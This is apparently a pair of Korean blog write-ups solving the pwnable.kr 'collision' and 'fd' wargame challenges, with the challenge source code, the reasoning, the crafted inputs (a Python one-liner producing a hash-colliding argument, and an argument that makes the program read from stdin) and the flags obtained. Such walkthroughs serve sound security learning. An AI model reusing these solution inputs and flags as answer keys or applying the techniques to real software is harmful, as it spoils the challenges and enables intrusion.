ssh col@pwnable.kr -p2222 (pw:guest) 으로 접속합니다.



col@ubuntu:~$ ls -l

total 16

-r-sr-x--- 1 col_pwn col     7341 Jun 11  2014 col

-rw-r--r-- 1 root    root     555 Jun 12  2014 col.c

-r--r----- 1 col_pwn col_pwn   52 Jun 11  2014 flag


col.c를 보겠습니다.



col@ubuntu:~$ cat col.c

#include <stdio.h>

#include <string.h>

unsigned long hashcode = 0x21DD09EC;

unsigned long check_password(const char* p){

int* ip = (int*)p;

int i;

int res=0;

for(i=0; i<5; i++){

res += ip[i];

}

return res;

}


int main(int argc, char* argv[]){

if(argc<2){

printf("usage : %s [passcode]\n", argv[0]);

return 0;

}

if(strlen(argv[1]) != 20){

printf("passcode length should be 20 bytes\n");

return 0;

}


if(hashcode == check_password( argv[1] )){

system("/bin/cat flag");

return 0;

}

else

printf("wrong passcode.\n");

return 0;

}



먼저 main함수를 보면, argv[1]의 길이가 20바이트이어야 함을 알 수 있습니다.


hashcode == check_password( argv[1] ) 이면 flag를 얻을 수 있네요.



check_password()가 하는 일을 봅시다.


20바이트 입력값을  4바이트씩 쪼개서 5개를 모두 더합니다.

만약 입력값이 \x11112222333344445555 이라면 \x1111+\x2222+\x3333+\x4444+\x5555 = res 가 되는겁니다.


res의 값이 0x21DD09EC 이 되어야 하므로
0x01010101 4개에 나머지 필요한값 하나 (= 0x21DD09EC - 0x01010101*4 = 1DD905E8) 로 하겠습니다.

./col `python -c 'print "\x01\x01\x01\x01"*4+"\xE8\x05\xD9\x1D"'`



col@ubuntu:~$ ./col `python -c 'print "\x01\x01\x01\x01"*4+"\xE8\x05\xD9\x1D"'`

daddy! I just managed to create a hash collision :)


728x90
반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [random] 풀이  (0) 2018.02.26
pwnable.kr [passcode] 풀이  (0) 2018.02.26
pwnable.kr [flag] 풀이  (0) 2018.02.26
pwnable.kr [bof] 풀이  (1) 2018.02.26
pwnable.kr [fd] 풀이  (0) 2018.02.25
728x90
반응형




ssh fd@pwnable.kr -p2222 (pw:guest) 이 곳으로 원격접속을 합니다.


어떤 파일이 있나 확인해 보겠습니다.


fd@ubuntu:~$ ls -l

total 16

-r-sr-x--- 1 fd_pwn fd   7322 Jun 11  2014 fd

-rw-r--r-- 1 root   root  418 Jun 11  2014 fd.c

-r--r----- 1 fd_pwn root   50 Jun 11  2014 flag


fd, fd.c, flag 파일이 있네요.


fd@ubuntu:~$ cat flag

cat: flag: Permission denied


flag 파일을 볼 수 있는 권한은 없습니다.


fd.c는 fd의 소스코드인것 같으니 확인해보겠습니다.



fd@ubuntu:~$ cat fd.c

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

char buf[32];

int main(int argc, char* argv[], char* envp[]){

if(argc<2){

printf("pass argv[1] a number\n");

return 0;

}

int fd = atoi( argv[1] ) - 0x1234;

int len = 0;

len = read(fd, buf, 32);

if(!strcmp("LETMEWIN\n", buf)){

printf("good job :)\n");

system("/bin/cat flag");

exit(0);

}

printf("learn about Linux file IO\n");

return 0;


}


buf의 값이 "LETMEWIN" 이면 flag파일을 읽어와주네요.

버퍼오버플로우 문제는 아니고, fd를 이용해 푸는 것 같습니다.

read 함수에서 첫번째 인자로 fd값을 받는데 이때 fd 값은 아래와 같습니다:

0 | stdin | 표준 입력
1 | stdout | 표준 출력
2 | stderr | 표준 에러


fd의 값은 argv[1] - 0x1234가 들어가게 되고, argv[1]은 우리가 입력한 값이니 조작이 가능합니다.

buf에 "LETMEWIN"를 넣어 주어야 하므로 fd의 값을 0으로 하게 해서 입력을 받도록 하고, LETMEWIN을 넣어주면 될 것 같습니다.


자, argv[1]값으로 0x1234를 넣어 fd값을 0으로 만들어 줍시다.


atoi함수는 문자열을 정수로 바꿔주는 역할을 하기 때문에 0x1234를 10진수로 나타낸 4660을 입력하겠습니다.



fd@ubuntu:~$ ./fd 4660

LETMEWIN

good job :)

mommy! I think I know what a file descriptor is!!



FLAG : mommy! I think I know what a file descriptor is!!


728x90
반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [random] 풀이  (0) 2018.02.26
pwnable.kr [passcode] 풀이  (0) 2018.02.26
pwnable.kr [flag] 풀이  (0) 2018.02.26
pwnable.kr [bof] 풀이  (1) 2018.02.26
pwnable.kr [collision] 풀이  (0) 2018.02.25

+ Recent posts